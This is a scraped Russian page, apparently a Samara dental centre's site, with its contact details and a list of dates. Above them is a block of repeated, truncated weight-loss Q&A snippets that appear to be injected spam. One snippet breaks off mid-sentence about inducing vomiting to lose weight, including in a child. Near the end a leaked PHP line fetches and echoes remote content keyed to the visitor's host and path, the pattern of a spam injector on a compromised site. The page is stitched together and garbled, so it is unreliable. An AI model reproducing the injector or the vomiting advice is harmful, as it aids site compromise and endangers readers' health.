  • Как реагирует щитовидка на похудение - Как отреогировал бы Ваш муж или парень, если бы Вы поправились на 20 кг.??? Ну откуда ж я знаю. Попробовать что ли.... )
  • Диета мясное суфле приготовить - Врач прописал строгую диету(панкреатит),как готовить диетическое мясное суфле? Варите постную говядину, пропускаете чере
  • Диета для больного щитовидной железой - От чего могут сильно начать выпадать волосы? Стресс влияет на волосы При повышенной функции щитовидной железы, когда в о
  • Диетическая паста для похудения - Диета для похудения. Не вздумай сидеть на диетах! Они еще больше испортят твою фигуру! Ну посидишь ты на диете, помучаеш
  • Диета мясное суфле видео - Врач прописал строгую диету(панкреатит),как готовить диетическое мясное суфле? Варите постную говядину, пропускаете чере
  • Программы похудения за рубежом - С какой скоростью я похудею? Пол года.. Программы похудения в Финляндии считаются одними из самых эффективных в мире. В
  • Можно похудеть вызывая рвоту - Можно ли так не много похудеть? Хочешь заработать ГАСТРИТ? действуй.... Для того чтобы вызвать рвоту у ребенка можно исп
  • Диете вино с сыром - Я сидела на Диете Французской - сыр и красное вино, почему ж в нагрузку мне прибавилось пяток кило ? ) ...это бонус от Б
  • Похудение с помощью пленки и крема антицеллюлит - Вы верите, что антицеллюлите крема помогают? Конечно нет Пленка для похудения отзывы и способы применения. Все способы п
  • За сколько дней можно похудеть если бегать - На сколько можно похудеть если сидеть месяц на геркулесовой диете? На 322 грамма. Бегать надо. От еды не худеют. Сколько
  • Как реагирует щитовидка на похудение - Как отреогировал бы Ваш муж или парень, если бы Вы поправились на 20 кг.??? Ну откуда ж я знаю. Попробовать что ли.... )
  • Диета мясное суфле приготовить - Врач прописал строгую диету(панкреатит),как готовить диетическое мясное суфле? Варите постную говядину, пропускаете чере
Почему крахмал нельзя при похудении
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта